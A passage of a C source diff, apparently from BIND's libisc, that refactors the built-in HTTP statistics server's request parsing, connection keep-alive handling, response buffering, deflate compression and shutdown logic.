+	if (httpd->method == METHOD_GET && content_len != 0) {
+		return (ISC_R_BADNUMBER);
 	}
-	*s = 0;
-	if ((strncmp(p, "HTTP/1.0", 8) != 0) &&
-	    (strncmp(p, "HTTP/1.1", 8) != 0)) {
+
+	if (content_len >= HTTP_MAX_REQUEST_LEN) {
 		return (ISC_R_RANGE);
 	}
-	httpd->protocol = p;
-	p = s + delim; /* skip past eol */
-	s = p;
-
-	httpd->headers = s;
 
-	if (have_header(httpd, "Connection:", "close", ", \t\r\n")) {
-		httpd->flags |= HTTPD_CLOSE;
+	size_t consume = httpd->consume + content_len;
+	if (consume > httpd->recvlen) {
+		/* The request data isn't complete yet. */
+		return (ISC_R_NOMORE);
 	}
 
-	if (have_header(httpd, "Host:", NULL, NULL)) {
-		httpd->flags |= HTTPD_FOUNDHOST;
-	}
+	/* Consume the request's data, which we do not use. */
+	httpd->consume = consume;
 
-	if (strncmp(httpd->protocol, "HTTP/1.0", 8) == 0) {
-		if (have_header(httpd, "Connection:", "Keep-Alive", ", \t\r\n"))
-		{
-			httpd->flags |= HTTPD_KEEPALIVE;
+	switch (httpd->minor_version) {
+	case 0:
+		/*
+		 * RFC 9112 section 9.3 says close takes priority if
+		 * keep-alive is also present
+		 */
+		if ((httpd->flags & CONNECTION_CLOSE) == 0 && keep_alive) {
+			httpd->flags |= CONNECTION_KEEP_ALIVE;
 		} else {
-			httpd->flags |= HTTPD_CLOSE;
+			httpd->flags |= CONNECTION_CLOSE;
 		}
+		break;
+	case 1:
+		if (!host_header) {
+			return (ISC_R_RANGE);
+		}
+		break;
+	default:
+		return (ISC_R_UNEXPECTED);
 	}
 
 	/*
-	 * Check for Accept-Encoding:
-	 */
-#ifdef HAVE_ZLIB
-	if (have_header(httpd, "Accept-Encoding:", "deflate", ";, \t\r\n")) {
-		httpd->flags |= HTTPD_ACCEPT_DEFLATE;
-	}
-#endif /* ifdef HAVE_ZLIB */
-
-	/*
-	 * Standards compliance hooks here.
+	 * Looks like a a valid request, so now we know we won't have
+	 * to process this buffer again. We can NULL-terminate the
+	 * URL for the caller's benefit, and set recvlen to 0 so
+	 * the next read will overwrite this one instead of appending
+	 * to the buffer.
 	 */
-	if (strcmp(httpd->protocol, "HTTP/1.1") == 0 &&
-	    ((httpd->flags & HTTPD_FOUNDHOST) == 0))
-	{
-		return (ISC_R_RANGE);
-	}
 
 	return (ISC_R_SUCCESS);
 }
 
 static void
-httpd_reset(void *arg) {
-	isc_httpd_t *httpd = (isc_httpd_t *)arg;
+httpd_free(isc_httpd_t *httpd) {
 	isc_httpdmgr_t *httpdmgr = NULL;
 
 	REQUIRE(VALID_HTTPD(httpd));
@@ -586,34 +544,21 @@ httpd_reset(void *arg) {
 
 	httpd->recvbuf[0] = 0;
 	httpd->recvlen = 0;
-	httpd->headers = NULL;
+	httpd->consume = 0;
 	httpd->method = METHOD_UNKNOWN;
-	httpd->url = NULL;
-	httpd->querystring = NULL;
-	httpd->protocol = NULL;
 	httpd->flags = 0;
 
-	isc_buffer_clear(&httpd->headerbuffer);
-	isc_buffer_clear(&httpd->compbuffer);
-	isc_buffer_invalidate(&httpd->bodybuffer);
-
-	httpdmgr_detach(&httpdmgr);
-}
-
-static void
-httpd_put(void *arg) {
-	isc_httpd_t *httpd = (isc_httpd_t *)arg;
-	isc_httpdmgr_t *httpdmgr = NULL;
-
-	REQUIRE(VALID_HTTPD(httpd));
-
-	httpdmgr = httpd->mgr;
-	REQUIRE(VALID_HTTPDMGR(httpdmgr));
+	httpd->minor_version = -1;
+	httpd->path = NULL;
+	httpd->up = (isc_url_parser_t){ 0 };
+	isc_time_set(&httpd->if_modified_since, 0, 0);
 
 	httpd->magic = 0;
+	httpd->mgr = NULL;
+
+	isc_mem_put(httpdmgr->mctx, httpd, sizeof(*httpd));
 
-	free_buffer(httpdmgr->mctx, &httpd->headerbuffer);
-	free_buffer(httpdmgr->mctx, &httpd->compbuffer);
+	httpdmgr_detach(&httpdmgr);
 
 #if ENABLE_AFL
 	if (finishhook != NULL) {
@@ -623,50 +568,58 @@ httpd_put(void *arg) {
 }
 
 static void
-new_httpd(isc_httpdmgr_t *httpdmgr, isc_nmhandle_t *handle) {
-	isc_httpd_t *httpd = NULL;
-	char *headerdata = NULL;
+isc__httpd_sendreq_free(isc_httpd_sendreq_t *req) {
+	/* Clean up buffers */
 
-	REQUIRE(VALID_HTTPDMGR(httpdmgr));
+	isc_buffer_free(&req->sendbuffer);
 
-	httpd = isc_nmhandle_getdata(handle);
-	if (httpd == NULL) {
-		httpd = isc_nmhandle_getextra(handle);
-		*httpd = (isc_httpd_t){ .handle = NULL };
-	}
+	isc_mem_putanddetach(&req->mctx, req, sizeof(*req));
+}
 
-	if (httpd->handle == NULL) {
-		isc_nmhandle_setdata(handle, httpd, httpd_reset, httpd_put);
-		httpd->handle = handle;
-	} else {
-		INSIST(httpd->handle == handle);
-	}
+static isc_httpd_sendreq_t *
+isc__httpd_sendreq_new(isc_httpd_t *httpd) {
+	isc_httpdmgr_t *httpdmgr = httpd->mgr;
+	isc_httpd_sendreq_t *req;
 
-	httpdmgr_attach(httpdmgr, &httpd->mgr);
+	REQUIRE(VALID_HTTPDMGR(httpdmgr));
+
+	req = isc_mem_get(httpdmgr->mctx, sizeof(*req));
+	*req = (isc_httpd_sendreq_t){ 0 };
+
+	isc_mem_attach(httpdmgr->mctx, &req->mctx);
 
 	/*
 	 * Initialize the buffer for our headers.
 	 */
-	headerdata = isc_mem_get(httpdmgr->mctx, HTTP_SENDGROW);
-	isc_buffer_init(&httpd->headerbuffer, headerdata, HTTP_SENDGROW);
-	isc_buffer_clear(&httpd->headerbuffer);
+	isc_buffer_allocate(req->mctx, &req->sendbuffer, HTTP_SENDLEN);
+	isc_buffer_clear(req->sendbuffer);
 
-	isc_buffer_initnull(&httpd->compbuffer);
-	isc_buffer_clear(&httpd->compbuffer);
+	isc_buffer_initnull(&req->bodybuffer);
 
-	isc_buffer_initnull(&httpd->bodybuffer);
+	return (req);
+}
 
-	ISC_LINK_INIT(httpd, link);
+static void
+new_httpd(isc_httpdmgr_t *httpdmgr, isc_nmhandle_t *handle) {
+	isc_httpd_t *httpd = NULL;
+
+	REQUIRE(VALID_HTTPDMGR(httpdmgr));
 
-	httpd->magic = HTTPD_MAGIC;
-	httpd->state = RECV;
+	httpd = isc_mem_get(httpdmgr->mctx, sizeof(*httpd));
+	*httpd = (isc_httpd_t){
+		.magic = HTTPD_MAGIC,
+		.link = ISC_LINK_INITIALIZER,
+	};
+
+	isc_nmhandle_attach(handle, &httpd->handle);
+
+	httpdmgr_attach(httpdmgr, &httpd->mgr);
 
 	LOCK(&httpdmgr->lock);
 	ISC_LIST_APPEND(httpdmgr->running, httpd, link);
 	UNLOCK(&httpdmgr->lock);
 
-	isc_nmhandle_attach(handle, &httpd->readhandle);
-	isc_nm_read(handle, httpd_request, httpdmgr);
+	isc_nm_read(handle, httpd_request, httpd);
 }
 
 static isc_result_t
@@ -698,16 +651,13 @@ httpd_newconn(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 }
 
 static isc_result_t
-render_404(const char *url, isc_httpdurl_t *urlinfo, const char *querystring,
-	   const char *headers, void *arg, unsigned int *retcode,
-	   const char **retmsg, const char **mimetype, isc_buffer_t *b,
-	   isc_httpdfree_t **freecb, void **freecb_args) {
+render_404(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo, void *arg,
+	   unsigned int *retcode, const char **retmsg, const char **mimetype,
+	   isc_buffer_t *b, isc_httpdfree_t **freecb, void **freecb_args) {
 	static char msg[] = "No such URL.\r\n";
 
-	UNUSED(url);
+	UNUSED(httpd);
 	UNUSED(urlinfo);
-	UNUSED(querystring);
-	UNUSED(headers);
 	UNUSED(arg);
 
 	*retcode = 404;
@@ -722,16 +672,13 @@ render_404(const char *url, isc_httpdurl_t *urlinfo, const char *querystring,
 }
 
 static isc_result_t
-render_500(const char *url, isc_httpdurl_t *urlinfo, const char *querystring,
-	   const char *headers, void *arg, unsigned int *retcode,
-	   const char **retmsg, const char **mimetype, isc_buffer_t *b,
-	   isc_httpdfree_t **freecb, void **freecb_args) {
+render_500(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo, void *arg,
+	   unsigned int *retcode, const char **retmsg, const char **mimetype,
+	   isc_buffer_t *b, isc_httpdfree_t **freecb, void **freecb_args) {
 	static char msg[] = "Internal server failure.\r\n";
 
-	UNUSED(url);
+	UNUSED(httpd);
 	UNUSED(urlinfo);
-	UNUSED(querystring);
-	UNUSED(headers);
 	UNUSED(arg);
 
 	*retcode = 500;
@@ -746,37 +693,6 @@ render_500(const char *url, isc_httpdurl_t *urlinfo, const char *querystring,
 }
 
 #ifdef HAVE_ZLIB
-/*%<
- * Reallocates compbuffer to size, does nothing if compbuffer is already
- * larger than size.
- *
- * Requires:
- *\li	httpd a valid isc_httpd_t object
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		-- all is well.
- *\li	#ISC_R_NOMEMORY		-- not enough memory to extend buffer
- */
-static isc_result_t
-alloc_compspace(isc_httpd_t *httpd, unsigned int size) {
-	char *newspace;
-	isc_region_t r;
-
-	isc_buffer_region(&httpd->compbuffer, &r);
-	if (size < r.length) {
-		return (ISC_R_SUCCESS);
-	}
-
-	newspace = isc_mem_get(httpd->mgr->mctx, size);
-	isc_buffer_reinit(&httpd->compbuffer, newspace, size);
-
-	if (r.base != NULL) {
-		isc_mem_put(httpd->mgr->mctx, r.base, r.length);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
 /*%<
  * Tries to compress httpd->bodybuffer to httpd->compbuffer, extending it
  * if necessary.
@@ -791,30 +707,29 @@ alloc_compspace(isc_httpd_t *httpd, unsigned int size) {
  *			     data would be larger than input data
  */
 static isc_result_t
-httpd_compress(isc_httpd_t *httpd) {
+httpd_compress(isc_httpd_sendreq_t *req) {
 	z_stream zstr;
-	isc_region_t r;
-	isc_result_t result;
-	int ret;
-	int inputlen;
-
-	inputlen = isc_buffer_usedlength(&httpd->bodybuffer);
-	result = alloc_compspace(httpd, inputlen);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	isc_buffer_region(&httpd->compbuffer, &r);
+	int ret, inputlen;
 
 	/*
 	 * We're setting output buffer size to input size so it fails if the
 	 * compressed data size would be bigger than the input size.
 	 */
-	memset(&zstr, 0, sizeof(zstr));
-	zstr.total_in = zstr.avail_in = zstr.total_out = zstr.avail_out =
-		inputlen;
+	inputlen = isc_buffer_usedlength(&req->bodybuffer);
+	if (inputlen == 0) {
+		return (ISC_R_FAILURE);
+	}
+
+	isc_buffer_allocate(req->mctx, &req->compbuffer, inputlen);
+	isc_buffer_clear(req->compbuffer);
 
-	zstr.next_in = isc_buffer_base(&httpd->bodybuffer);
-	zstr.next_out = r.base;
+	zstr = (z_stream){
+		.total_in = inputlen,
+		.avail_out = inputlen,
+		.avail_in = inputlen,
+		.next_in = isc_buffer_base(&req->bodybuffer),
+		.next_out = isc_buffer_base(req->compbuffer),
+	};
 
 	ret = deflateInit(&zstr, Z_DEFAULT_COMPRESSION);
 	if (ret == Z_OK) {
@@ -822,318 +737,324 @@ httpd_compress(isc_httpd_t *httpd) {
 	}
 	deflateEnd(&zstr);
 	if (ret == Z_STREAM_END) {
-		isc_buffer_add(&httpd->compbuffer, inputlen - zstr.avail_out);
+		isc_buffer_add(req->compbuffer, zstr.total_out);
 		return (ISC_R_SUCCESS);
 	} else {
+		isc_buffer_free(&req->compbuffer);
 		return (ISC_R_FAILURE);
 	}
 }
 #endif /* ifdef HAVE_ZLIB */
 
 static void
-httpd_request(isc_nmhandle_t *handle, isc_result_t eresult,
-	      isc_region_t *region, void *arg) {
-	isc_result_t result;
-	isc_httpd_t *httpd = NULL;
-	isc_httpdmgr_t *mgr = (isc_httpdmgr_t *)arg;
-	isc_buffer_t *databuffer = NULL;
-	isc_httpdurl_t *url = NULL;
+prepare_response(isc_httpdmgr_t *mgr, isc_httpd_t *httpd,
+		 isc_httpd_sendreq_t **reqp) {
+	isc_httpd_sendreq_t *req = NULL;
 	isc_time_t now;
-	isc_region_t r;
-	bool is_compressed = false;
 	char datebuf[ISC_FORMATHTTPTIMESTAMP_SIZE];
+	const char *path = "/";
+	size_t path_len = 1;
+	bool is_compressed = false;
+	isc_httpdurl_t *url = NULL;
+	isc_result_t result;
 
-	httpd = isc_nmhandle_getdata(handle);
-
-	REQUIRE(httpd->state == RECV);
+	REQUIRE(VALID_HTTPD(httpd));
+	REQUIRE(reqp != NULL && *reqp == NULL);
 
-	if (eresult != ISC_R_SUCCESS) {
-		goto cleanup_readhandle;
-	}
+	now = isc_time_now();
+	isc_time_formathttptimestamp(&now, datebuf, sizeof(datebuf));
 
-	result = process_request(httpd, region);
-	if (result == ISC_R_NOTFOUND) {
-		if (httpd->recvlen < HTTP_RECVLEN - 1) {
-			/* don't unref, continue reading */
-			return;
-		}
-		goto cleanup_readhandle;
-	} else if (result != ISC_R_SUCCESS) {
-		goto cleanup_readhandle;
+	if (httpd->up.field_set & (1 << ISC_UF_PATH)) {
+		path = &httpd->path[httpd->up.field_data[ISC_UF_PATH].off];
+		path_len = httpd->up.field_data[ISC_UF_PATH].len;
 	}
 
-	isc_buffer_initnull(&httpd->bodybuffer);
-	isc_time_now(&now);
-	isc_time_formathttptimestamp(&now, datebuf, sizeof(datebuf));
-
 	LOCK(&mgr->lock);
-	url = ISC_LIST_HEAD(mgr->urls);
-	while (url != NULL) {
-		if (strcmp(httpd->url, url->url) == 0) {
+	ISC_LIST_FOREACH (mgr->urls, url, link) {
+		if (strncmp(path, url->url, path_len) == 0) {
 			break;
 		}
-		url = ISC_LIST_NEXT(url, link);
 	}
 	UNLOCK(&mgr->lock);
 
+	req = isc__httpd_sendreq_new(httpd);
+
 	if (url == NULL) {
-		result = mgr->render_404(
-			httpd->url, NULL, httpd->querystring, NULL, NULL,
-			&httpd->retcode, &httpd->retmsg, &httpd->mimetype,
-			&httpd->bodybuffer, &httpd->freecb, &httpd->freecb_arg);
+		result = mgr->render_404(httpd, NULL, NULL, &req->retcode,
+					 &req->retmsg, &req->mimetype,
+					 &req->bodybuffer, &req->freecb,
+					 &req->freecb_arg);
 	} else {
-		result = url->action(httpd->url, url, httpd->querystring,
-				     httpd->headers, url->action_arg,
-				     &httpd->retcode, &httpd->retmsg,
-				     &httpd->mimetype, &httpd->bodybuffer,
-				     &httpd->freecb, &httpd->freecb_arg);
+		result = url->action(httpd, url, url->action_arg, &req->retcode,
+				     &req->retmsg, &req->mimetype,
+				     &req->bodybuffer, &req->freecb,
+				     &req->freecb_arg);
 	}
 	if (result != ISC_R_SUCCESS) {
-		result = mgr->render_500(
-			httpd->url, url, httpd->querystring, NULL, NULL,
-			&httpd->retcode, &httpd->retmsg, &httpd->mimetype,
-			&httpd->bodybuffer, &httpd->freecb, &httpd->freecb_arg);
+		result = mgr->render_500(httpd, url, NULL, &req->retcode,
+					 &req->retmsg, &req->mimetype,
+					 &req->bodybuffer, &req->freecb,
+					 &req->freecb_arg);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	}
 
 #ifdef HAVE_ZLIB
-	if ((httpd->flags & HTTPD_ACCEPT_DEFLATE) != 0) {
-		result = httpd_compress(httpd);
+	if ((httpd->flags & ACCEPT_DEFLATE) != 0) {
+		result = httpd_compress(req);
 		if (result == ISC_R_SUCCESS) {
 			is_compressed = true;
 		}
 	}
 #endif /* ifdef HAVE_ZLIB */
 
-	httpd_response(httpd);
-	if ((httpd->flags & HTTPD_KEEPALIVE) != 0) {
-		httpd_addheader(httpd, "Connection", "Keep-Alive");
+	httpd_response(httpd, req);
+	/* RFC 9112 § 9.6: SHOULD send Connection: close in last response */
+	if ((httpd->flags & CONNECTION_CLOSE) != 0) {
+		httpd_addheader(req, "Connection", "close");
+	} else if ((httpd->flags & CONNECTION_KEEP_ALIVE) != 0) {
+		httpd_addheader(req, "Connection", "Keep-Alive");
 	}
-	httpd_addheader(httpd, "Content-Type", httpd->mimetype);
-	httpd_addheader(httpd, "Date", datebuf);
-	httpd_addheader(httpd, "Expires", datebuf);
+	httpd_addheader(req, "Content-Type", req->mimetype);
+	httpd_addheader(req, "Date", datebuf);
+	httpd_addheader(req, "Expires", datebuf);
 
 	if (url != NULL && url->isstatic) {
 		char loadbuf[ISC_FORMATHTTPTIMESTAMP_SIZE];
 		isc_time_formathttptimestamp(&url->loadtime, loadbuf,
 					     sizeof(loadbuf));
-		httpd_addheader(httpd, "Last-Modified", loadbuf);
-		httpd_addheader(httpd, "Cache-Control: public", NULL);
+		httpd_addheader(req, "Last-Modified", loadbuf);
+		httpd_addheader(req, "Cache-Control: public", NULL);
 	} else {
-		httpd_addheader(httpd, "Last-Modified", datebuf);
-		httpd_addheader(httpd, "Pragma: no-cache", NULL);
-		httpd_addheader(httpd, "Cache-Control: no-cache", NULL);
+		httpd_addheader(req, "Last-Modified", datebuf);
+		httpd_addheader(req, "Pragma: no-cache", NULL);
+		httpd_addheader(req, "Cache-Control: no-cache", NULL);
 	}
 
-	httpd_addheader(httpd, "Server: libisc", NULL);
+	httpd_addheader(req, "Server: libisc", NULL);
 
 	if (is_compressed) {
-		httpd_addheader(httpd, "Content-Encoding", "deflate");
-		httpd_addheaderuint(httpd, "Content-Length",
-				    isc_buffer_usedlength(&httpd->compbuffer));
+		httpd_addheader(req, "Content-Encoding", "deflate");
+		httpd_addheaderuint(req, "Content-Length",
+				    isc_buffer_usedlength(req->compbuffer));
 	} else {
-		httpd_addheaderuint(httpd, "Content-Length",
-				    isc_buffer_usedlength(&httpd->bodybuffer));
+		httpd_addheaderuint(req, "Content-Length",
+				    isc_buffer_usedlength(&req->bodybuffer));
 	}
 
-	httpd_endheaders(httpd); /* done */
+	httpd_endheaders(req); /* done */
 
 	/*
 	 * Append either the compressed or the non-compressed response body to
 	 * the response headers and store the result in httpd->sendbuffer.
 	 */
-	isc_buffer_dup(mgr->mctx, &httpd->sendbuffer, &httpd->headerbuffer);
-	isc_buffer_setautorealloc(httpd->sendbuffer, true);
-	databuffer = (is_compressed ? &httpd->compbuffer : &httpd->bodybuffer);
-	isc_buffer_usedregion(databuffer, &r);
-	result = isc_buffer_copyregion(httpd->sendbuffer, &r);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	if (is_compressed) {
+		isc_buffer_putmem(req->sendbuffer,
+				  isc_buffer_base(req->compbuffer),
+				  isc_buffer_usedlength(req->compbuffer));
+		isc_buffer_free(&req->compbuffer);
+	} else {
+		isc_buffer_putmem(req->sendbuffer,
+				  isc_buffer_base(&req->bodybuffer),
+				  isc_buffer_usedlength(&req->bodybuffer));
+	}
+
+	/* Free the bodybuffer */
+	if (req->freecb != NULL && isc_buffer_length(&req->bodybuffer) > 0) {
+		req->freecb(&req->bodybuffer, req->freecb_arg);
+	}
+
+	/* Consume the request from the recv buffer. */
+	INSIST(httpd->consume != 0);
+	INSIST(httpd->consume <= httpd->recvlen);
+	if (httpd->consume < httpd->recvlen) {
+		memmove(httpd->recvbuf, httpd->recvbuf + httpd->consume,
+			httpd->recvlen - httpd->consume);
+	}
+	httpd->recvlen -= httpd->consume;
+	httpd->consume = 0;
 
 	/*
-	 * Determine total response size.
+	 * We don't need to attach to httpd here because it gets only cleaned
+	 * when the last handle has been detached
 	 */
-	isc_buffer_usedregion(httpd->sendbuffer, &r);
+	req->httpd = httpd;
 
-	isc_nm_pauseread(handle);
-	httpd->state = SEND;
+	*reqp = req;
+}
 
-	isc_nmhandle_attach(handle, &httpd->sendhandle);
-	isc_nm_send(handle, &r, httpd_senddone, httpd);
+static void
+httpd_request(isc_nmhandle_t *handle, isc_result_t eresult,
+	      isc_region_t *region, void *arg) {
+	isc_httpd_t *httpd = arg;
+	isc_httpdmgr_t *mgr = httpd->mgr;
+	isc_httpd_sendreq_t *req = NULL;
+	isc_region_t r;
+	size_t last_len = 0;
+	isc_result_t result;
 
-	return;
-cleanup_readhandle:
-	isc_nmhandle_detach(&httpd->readhandle);
-}
+	REQUIRE(VALID_HTTPD(httpd));
 
-void
-isc_httpdmgr_shutdown(isc_httpdmgr_t **httpdmgrp) {
-	isc_httpdmgr_t *httpdmgr;
-	isc_httpd_t *httpd;
+	REQUIRE(httpd->handle == handle);
 
-	REQUIRE(httpdmgrp != NULL);
-	REQUIRE(VALID_HTTPDMGR(*httpdmgrp));
+	if (eresult != ISC_R_SUCCESS) {
+		goto close_readhandle;
+	}
 
-	httpdmgr = *httpdmgrp;
-	*httpdmgrp = NULL;
+	REQUIRE((mgr->flags & ISC_HTTPDMGR_SHUTTINGDOWN) == 0);
 
-	isc_nm_stoplistening(httpdmgr->sock);
+	isc_nm_read_stop(handle);
 
-	LOCK(&httpdmgr->lock);
-	httpdmgr->flags |= ISC_HTTPDMGR_SHUTTINGDOWN;
+	/*
+	 * If we are being called from httpd_senddone(), the last HTTP request
+	 * was processed successfully, reset the last_len to 0, even if there's
+	 * data in the httpd->recvbuf.
+	 */
+	last_len = (region == NULL) ? 0 : httpd->recvlen;
+
+	/* Store the received data into the recvbuf */
+	if (region != NULL) {
+		if (httpd->recvlen + region->length > sizeof(httpd->recvbuf)) {
+			goto close_readhandle;
+		}
 
-	httpd = ISC_LIST_HEAD(httpdmgr->running);
-	while (httpd != NULL) {
-		isc_nm_cancelread(httpd->readhandle);
-		httpd = ISC_LIST_NEXT(httpd, link);
+		memmove(httpd->recvbuf + httpd->recvlen, region->base,
+			region->length);
+		httpd->recvlen += region->length;
 	}
-	UNLOCK(&httpdmgr->lock);
 
-	httpdmgr_detach(&httpdmgr);
-}
+	result = process_request(httpd, last_len);
 
-static isc_result_t
-grow_headerspace(isc_httpd_t *httpd) {
-	char *newspace = NULL;
-	unsigned int newlen;
-	isc_region_t r;
+	if (result == ISC_R_NOMORE) {
+		if (httpd->recvlen > HTTP_MAX_REQUEST_LEN) {
+			goto close_readhandle;
+		}
 
-	isc_buffer_region(&httpd->headerbuffer, &r);
-	newlen = r.length + HTTP_SENDGROW;
-	if (newlen > HTTP_SEND_MAXLEN) {
-		return (ISC_R_NOSPACE);
+		/* Wait for more data, the handle is still attached */
+		isc_nm_read(handle, httpd_request, arg);
+		return;
 	}
 
-	newspace = isc_mem_get(httpd->mgr->mctx, newlen);
+	/* XXXFANF it would be more polite to reply 400 bad request */
+	if (result != ISC_R_SUCCESS) {
+		goto close_readhandle;
+	}
 
-	isc_buffer_reinit(&httpd->headerbuffer, newspace, newlen);
+	prepare_response(mgr, httpd, &req);
 
-	isc_mem_put(httpd->mgr->mctx, r.base, r.length);
+	/*
+	 * Determine total response size.
+	 */
+	isc_buffer_usedregion(req->sendbuffer, &r);
 
-	return (ISC_R_SUCCESS);
+	isc_nmhandle_ref(handle);
+	isc_nm_send(handle, &r, httpd_senddone, req);
+	return;
+
+close_readhandle:
+	isc_nmhandle_close(httpd->handle);
+	isc_nmhandle_detach(&httpd->handle);
+
+	httpd_free(httpd);
 }
 
-static isc_result_t
-httpd_response(isc_httpd_t *httpd) {
-	isc_result_t result;
-	unsigned int needlen;
+void
+isc_httpdmgr_shutdown(isc_httpdmgr_t **httpdmgrp) {
+	isc_httpdmgr_t *httpdmgr = NULL;
 
-	REQUIRE(VALID_HTTPD(httpd));
+	REQUIRE(httpdmgrp != NULL);
+	REQUIRE(VALID_HTTPDMGR(*httpdmgrp));
 
-	needlen = strlen(httpd->protocol) + 1; /* protocol + space */
-	needlen += 3 + 1; /* room for response code, always 3 bytes */
-	needlen += strlen(httpd->retmsg) + 2; /* return msg + CRLF */
+	httpdmgr = *httpdmgrp;
+	*httpdmgrp = NULL;
 
-	while (isc_buffer_availablelength(&httpd->headerbuffer) < needlen) {
-		result = grow_headerspace(httpd);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
+	isc_nm_stoplistening(httpdmgr->sock);
+
+	LOCK(&httpdmgr->lock);
+
+	isc_httpd_t *httpd = NULL, *next = NULL;
+	ISC_LIST_FOREACH_SAFE (httpdmgr->running, httpd, link, next) {
+		if (httpd->handle != NULL) {
+			httpd_request(httpd->handle, ISC_R_SUCCESS, NULL,
+				      httpd);
 		}
 	}
 
-	return (isc_buffer_printf(&httpd->headerbuffer, "%s %03u %s\r\n",
-				  httpd->protocol, httpd->retcode,
-				  httpd->retmsg));
+	httpdmgr->flags |= ISC_HTTPDMGR_SHUTTINGDOWN;
+
+	UNLOCK(&httpdmgr->lock);
+
+	isc_nmsocket_close(&httpdmgr->sock);
+
+	httpdmgr_detach(&httpdmgr);
 }
 
-static isc_result_t
-httpd_addheader(isc_httpd_t *httpd, const char *name, const char *val) {
+static void
+httpd_response(isc_httpd_t *httpd, isc_httpd_sendreq_t *req) {
 	isc_result_t result;
-	unsigned int needlen;
 
-	REQUIRE(VALID_HTTPD(httpd));
+	result = isc_buffer_printf(req->sendbuffer, "HTTP/1.%u %03u %s\r\n",
+				   httpd->minor_version, req->retcode,
+				   req->retmsg);
 
-	needlen = strlen(name); /* name itself */
-	if (val != NULL) {
-		needlen += 2 + strlen(val); /* :<space> and val */
-	}
-	needlen += 2; /* CRLF */
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+}
 
-	while (isc_buffer_availablelength(&httpd->headerbuffer) < needlen) {
-		result = grow_headerspace(httpd);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
+static void
+httpd_addheader(isc_httpd_sendreq_t *req, const char *name, const char *val) {
+	isc_result_t result;
 
 	if (val != NULL) {
-		return (isc_buffer_printf(&httpd->headerbuffer, "%s: %s\r\n",
-					  name, val));
+		result = isc_buffer_printf(req->sendbuffer, "%s: %s\r\n", name,
+					   val);
 	} else {
-		return (isc_buffer_printf(&httpd->headerbuffer, "%s\r\n",
-					  name));
+		result = isc_buffer_printf(req->sendbuffer, "%s\r\n", name);
 	}
+
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 }
 
-static isc_result_t
-httpd_endheaders(isc_httpd_t *httpd) {
+static void
+httpd_endheaders(isc_httpd_sendreq_t *req) {
 	isc_result_t result;
 
-	REQUIRE(VALID_HTTPD(httpd));
-
-	while (isc_buffer_availablelength(&httpd->headerbuffer) < 2) {
-		result = grow_headerspace(httpd);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
+	result = isc_buffer_printf(req->sendbuffer, "\r\n");
 
-	return (isc_buffer_printf(&httpd->headerbuffer, "\r\n"));
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 }
 
-static isc_result_t
-httpd_addheaderuint(isc_httpd_t *httpd, const char *name, int val) {
+static void
+httpd_addheaderuint(isc_httpd_sendreq_t *req, const char *name, int val) {
 	isc_result_t result;
-	unsigned int needlen;
-	char buf[sizeof "18446744073709551616"];
-
-	REQUIRE(VALID_HTTPD(httpd));
 
-	snprintf(buf, sizeof(buf), "%d", val);
+	result = isc_buffer_printf(req->sendbuffer, "%s: %d\r\n", name, val);
 
-	needlen = strlen(name);	    /* name itself */
-	needlen += 2 + strlen(buf); /* :<space> and val */
-	needlen += 2;		    /* CRLF */
-
-	while (isc_buffer_availablelength(&httpd->headerbuffer) < needlen) {
-		result = grow_headerspace(httpd);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
-
-	return (isc_buffer_printf(&httpd->headerbuffer, "%s: %s\r\n", name,
-				  buf));
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 }
 
 static void
-httpd_senddone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
-	isc_httpd_t *httpd = (isc_httpd_t *)arg;
+httpd_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
+	isc_httpd_sendreq_t *req = (isc_httpd_sendreq_t *)arg;
+	isc_httpd_t *httpd = req->httpd;
 
 	REQUIRE(VALID_HTTPD(httpd));
-	REQUIRE(httpd->state == SEND);
-
-	isc_buffer_free(&httpd->sendbuffer);
 
-	/*
-	 * We will always want to clean up our receive buffer, even if we
-	 * got an error on send or we are shutting down.
-	 */
-	if (httpd->freecb != NULL) {
-		isc_buffer_t *b = NULL;
-		if (isc_buffer_length(&httpd->bodybuffer) > 0) {
-			b = &httpd->bodybuffer;
-			httpd->freecb(b, httpd->freecb_arg);
-		}
+	if ((httpd->mgr->flags & ISC_HTTPDMGR_SHUTTINGDOWN) != 0) {
+		goto detach;
 	}
 
-	isc_nmhandle_detach(&httpd->sendhandle);
-
-	if (result != ISC_R_SUCCESS) {
-		return;
+	if (eresult == ISC_R_SUCCESS && (httpd->flags & CONNECTION_CLOSE) != 0)
+	{
+		eresult = ISC_R_EOF;
 	}
 
-	httpd->state = RECV;
-	isc_nm_resumeread(handle);
+	/*
+	 * Calling httpd_request() with region NULL restarts reading.
+	 */
+	httpd_request(handle, eresult, NULL, httpd);
+
+detach:
+	isc_nmhandle_detach(&handle);
+	isc__httpd_sendreq_free(req);
 }
 
 isc_result_t
@@ -1155,7 +1076,7 @@ isc_httpdmgr_addurl(isc_httpdmgr_t *httpdmgr, const char *url, bool isstatic,
 	item->action = func;
 	item->action_arg = arg;
 	item->isstatic = isstatic;
-	isc_time_now(&item->loadtime);
+	item->loadtime = isc_time_now();
 
 	ISC_LINK_INIT(item, link);
 
@@ -1174,3 +1095,18 @@ isc_httpd_setfinishhook(void (*fn)(void)) {
 	UNUSED(fn);
 #endif /* ENABLE_AFL */
 }
+
+bool
+isc_httpdurl_isstatic(const isc_httpdurl_t *url) {
+	return (url->isstatic);
+}
+
+const isc_time_t *
+isc_httpdurl_loadtime(const isc_httpdurl_t *url) {
+	return (&url->loadtime);
+}
+
+const isc_time_t *
+isc_httpd_if_modified_since(const isc_httpd_t *httpd) {
+	return ((const isc_time_t *)&httpd->if_modified_since);
+}
